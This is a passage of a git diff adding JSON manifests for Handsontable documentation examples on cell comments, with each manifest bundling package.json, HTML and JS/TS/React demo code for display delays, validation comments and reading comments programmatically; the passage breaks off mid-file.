JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example4');\n\nnew Handsontable(container, {\n data: [\n ['', 'Tesla', 'Toyota', 'Honda', 'Ford'],\n ['2018', 10, 11, 12, 13, 15, 16],\n ['2019', 10, 11, 12, 13, 15, 16],\n ['2020', 10, 11, 12, 13, 15, 16],\n ],\n rowHeaders: true,\n colHeaders: true,\n contextMenu: true,\n comments: {\n // on mouseover, wait 2 seconds before the comment box displays\n displayDelay: 2000,\n },\n cell: [{ row: 1, col: 1, comment: { value: 'Some comment' } }],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-features/comments/javascript/example4.js","breadcrumb":["Cell Features","Comments"],"guide":"guides/cell-features/comments/comments.md","guideTitle":"Comments","exampleId":"example4","exampleTitle":"Set a delay for displaying comments","docPermalink":"/comments","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__javascript__example4.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__javascript__example4.ts.json new file mode 100644 index 00000000..5f8fe024 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__javascript__example4.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Features ▸ Comments · Set a delay for displaying comments · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example4')!;\n\nnew Handsontable(container, {\n data: [\n ['', 'Tesla', 'Toyota', 'Honda', 'Ford'],\n ['2018', 10, 11, 12, 13, 15, 16],\n ['2019', 10, 11, 12, 13, 15, 16],\n ['2020', 10, 11, 12, 13, 15, 16],\n ],\n rowHeaders: true,\n colHeaders: true,\n contextMenu: true,\n comments: {\n // on mouseover, wait 2 seconds before the comment box displays\n displayDelay: 2000,\n },\n cell: [{ row: 1, col: 1, comment: { value: 'Some comment' } }],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-features/comments/javascript/example4.ts","breadcrumb":["Cell Features","Comments"],"guide":"guides/cell-features/comments/comments.md","guideTitle":"Comments","exampleId":"example4","exampleTitle":"Set a delay for displaying comments","docPermalink":"/comments","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__javascript__example5.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__javascript__example5.js.json new file mode 100644 index 00000000..ad7831a1 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__javascript__example5.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Features ▸ Comments · Flag invalid cells with a comment · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst container = document.querySelector('#example5');\nnew Handsontable(container, {\n data: [\n ['Wireless mouse', 142],\n ['USB-C cable', 67],\n ['Mechanical keyboard', -5],\n ['Laptop stand', 38],\n ['HDMI adapter', 210],\n ],\n colHeaders: ['Product', 'Stock'],\n rowHeaders: true,\n comments: true,\n columns: [\n {},\n {\n type: 'numeric',\n validator(value, callback) {\n callback(Number.isInteger(value) && value >= 0);\n },\n },\n ],\n // Attach a comment when a cell fails validation, and remove it once the cell is valid.\n afterValidate(isValid, value, row, prop) {\n const column = this.propToCol(prop);\n const comments = this.getPlugin('comments');\n if (!isValid) {\n comments.setCommentAtCell(row, column, `\"${value}\" is not valid. Enter a whole number of 0 or more.`);\n }\n else {\n comments.removeCommentAtCell(row, column);\n }\n },\n // Validate every cell on load so the pre-existing invalid value is flagged right away.\n afterInit() {\n this.validateCells();\n },\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-features/comments/javascript/example5.js","breadcrumb":["Cell Features","Comments"],"guide":"guides/cell-features/comments/comments.md","guideTitle":"Comments","exampleId":"example5","exampleTitle":"Flag invalid cells with a comment","docPermalink":"/comments","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__javascript__example5.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__javascript__example5.ts.json new file mode 100644 index 00000000..9fb848a2 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__javascript__example5.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Features ▸ Comments · Flag invalid cells with a comment · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example5')!;\n\nnew Handsontable(container, {\n data: [\n ['Wireless mouse', 142],\n ['USB-C cable', 67],\n ['Mechanical keyboard', -5],\n ['Laptop stand', 38],\n ['HDMI adapter', 210],\n ],\n colHeaders: ['Product', 'Stock'],\n rowHeaders: true,\n comments: true,\n columns: [\n {},\n {\n type: 'numeric',\n validator(value: any, callback: (valid: boolean) => void) {\n callback(Number.isInteger(value) && value >= 0);\n },\n },\n ],\n // Attach a comment when a cell fails validation, and remove it once the cell is valid.\n afterValidate(isValid, value, row, prop) {\n const column = this.propToCol(prop);\n const comments = this.getPlugin('comments');\n\n if (!isValid) {\n comments.setCommentAtCell(row, column, `\"${value}\" is not valid. Enter a whole number of 0 or more.`);\n } else {\n comments.removeCommentAtCell(row, column);\n }\n },\n // Validate every cell on load so the pre-existing invalid value is flagged right away.\n afterInit() {\n this.validateCells();\n },\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-features/comments/javascript/example5.ts","breadcrumb":["Cell Features","Comments"],"guide":"guides/cell-features/comments/comments.md","guideTitle":"Comments","exampleId":"example5","exampleTitle":"Flag invalid cells with a comment","docPermalink":"/comments","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__javascript__example6.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__javascript__example6.js.json new file mode 100644 index 00000000..803ef42c --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__javascript__example6.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Features ▸ Comments · Read all comments programmatically · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n \n
    \n
    \n
    \n \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst container = document.querySelector('#example6');\nconst hot = new Handsontable(container, {\n data: [\n ['Update API docs', 'Ana García', 'In progress'],\n ['Deploy hotfix', 'James Okafor', 'Blocked'],\n ['Review pull requests', 'Li Wei', 'Done'],\n ['Plan Q3 roadmap', 'Maria Santos', 'In progress'],\n ['Refactor auth module', 'David Kim', 'In review'],\n ],\n colHeaders: ['Task', 'Assignee', 'Status'],\n rowHeaders: true,\n comments: true,\n cell: [\n { row: 1, col: 2, comment: { value: 'Waiting on infrastructure approval.' } },\n { row: 3, col: 1, comment: { value: 'Reassign if capacity is tight.' } },\n { row: 4, col: 0, comment: { value: 'Blocked on the security review.' } },\n ],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\nconst button = document.querySelector('#list-comments');\nconst output = document.querySelector('#comments-output');\nbutton.addEventListener('click', () => {\n const found = [];\n // `getCellMetaAtRow()` takes a physical row index (equal to the visual index here, with no sorting or trimming).\n for (let row = 0; row < hot.countRows(); row += 1) {\n hot.getCellMetaAtRow(row).forEach((cellMeta, col) => {\n const comment = cellMeta.comment;\n if (comment?.value !== undefined) {\n found.push(`Row ${row + 1}, \"${hot.getColHeader(col)}\": ${comment.value}`);\n }\n });\n }\n output.textContent = found.length > 0 ? found.join('\\n') : 'No comments found.';\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-features/comments/javascript/example6.js","breadcrumb":["Cell Features","Comments"],"guide":"guides/cell-features/comments/comments.md","guideTitle":"Comments","exampleId":"example6","exampleTitle":"Read all comments programmatically","docPermalink":"/comments","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__javascript__example6.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__javascript__example6.ts.json new file mode 100644 index 00000000..cafe8e10 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__javascript__example6.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Features ▸ Comments · Read all comments programmatically · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n \n
    \n
    \n
    \n \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example6')!;\n\nconst hot = new Handsontable(container, {\n data: [\n ['Update API docs', 'Ana García', 'In progress'],\n ['Deploy hotfix', 'James Okafor', 'Blocked'],\n ['Review pull requests', 'Li Wei', 'Done'],\n ['Plan Q3 roadmap', 'Maria Santos', 'In progress'],\n ['Refactor auth module', 'David Kim', 'In review'],\n ],\n colHeaders: ['Task', 'Assignee', 'Status'],\n rowHeaders: true,\n comments: true,\n cell: [\n { row: 1, col: 2, comment: { value: 'Waiting on infrastructure approval.' } },\n { row: 3, col: 1, comment: { value: 'Reassign if capacity is tight.' } },\n { row: 4, col: 0, comment: { value: 'Blocked on the security review.' } },\n ],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\nconst button = document.querySelector('#list-comments')!;\nconst output = document.querySelector('#comments-output')!;\n\nbutton.addEventListener('click', () => {\n const found: string[] = [];\n\n // `getCellMetaAtRow()` takes a physical row index (equal to the visual index here, with no sorting or trimming).\n for (let row = 0; row < hot.countRows(); row += 1) {\n hot.getCellMetaAtRow(row).forEach((cellMeta, col) => {\n const comment = cellMeta.comment as { value?: string } | undefined;\n\n if (comment?.value !== undefined) {\n found.push(`Row ${row + 1}, \"${hot.getColHeader(col)}\": ${comment.value}`);\n }\n });\n }\n\n output.textContent = found.length > 0 ? found.join('\\n') : 'No comments found.';\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-features/comments/javascript/example6.ts","breadcrumb":["Cell Features","Comments"],"guide":"guides/cell-features/comments/comments.md","guideTitle":"Comments","exampleId":"example6","exampleTitle":"Read all comments programmatically","docPermalink":"/comments","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__react__example1.tsx.json new file mode 100644 index 00000000..2a52970f --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__react__example1.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Features ▸ Comments · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-features/comments/react/example1.tsx","breadcrumb":["Cell Features","Comments"],"guide":"guides/cell-features/comments/comments.md","guideTitle":"Comments","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/comments","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__react__example2.tsx.json new file mode 100644 index 00000000..82b48e52 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__react__example2.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Features ▸ Comments · Make a comment read-only · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example2\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-features/comments/react/example2.tsx","breadcrumb":["Cell Features","Comments"],"guide":"guides/cell-features/comments/comments.md","guideTitle":"Comments","exampleId":"example2","exampleTitle":"Make a comment read-only","docPermalink":"/comments","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__react__example3.tsx.json new file mode 100644 index 00000000..b2be6ea7 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__react__example3.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Features ▸ Comments · Set a comment box's size · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example3\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-features/comments/react/example3.tsx","breadcrumb":["Cell Features","Comments"],"guide":"guides/cell-features/comments/comments.md","guideTitle":"Comments","exampleId":"example3","exampleTitle":"Set a comment box's size","docPermalink":"/comments","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__react__example4.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__react__example4.tsx.json new file mode 100644 index 00000000..6855731c --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__react__example4.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Features ▸ Comments · Set a delay for displaying comments · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example4\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-features/comments/react/example4.tsx","breadcrumb":["Cell Features","Comments"],"guide":"guides/cell-features/comments/comments.md","guideTitle":"Comments","exampleId":"example4","exampleTitle":"Set a delay for displaying comments","docPermalink":"/comments","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__react__example5.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__react__example5.tsx.json new file mode 100644 index 00000000..15f28804 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__react__example5.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Features ▸ Comments · Flag invalid cells with a comment · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example5\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import Handsontable from 'handsontable/base';\nimport { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n void) {\n callback(Number.isInteger(value) && value >= 0);\n },\n },\n ]}\n // Attach a comment when a cell fails validation, and remove it once the cell is valid.\n afterValidate={function (this: Handsontable, isValid, value, row, prop) {\n const column = this.propToCol(prop);\n const comments = this.getPlugin('comments');\n\n if (!isValid) {\n comments.setCommentAtCell(row, column, `\"${value}\" is not valid. Enter a whole number of 0 or more.`);\n } else {\n comments.removeCommentAtCell(row, column);\n }\n }}\n // Validate every cell on load so the pre-existing invalid value is flagged right away.\n afterInit={function (this: Handsontable) {\n this.validateCells();\n }}\n height=\"auto\"\n autoWrapRow={true}\n autoWrapCol={true}\n licenseKey=\"non-commercial-and-evaluation\"\n />\n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-features/comments/react/example5.tsx","breadcrumb":["Cell Features","Comments"],"guide":"guides/cell-features/comments/comments.md","guideTitle":"Comments","exampleId":"example5","exampleTitle":"Flag invalid cells with a comment","docPermalink":"/comments","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__react__example6.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__react__example6.tsx.json new file mode 100644 index 00000000..3d9e3329 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__react__example6.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Features ▸ Comments · Read all comments programmatically · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": 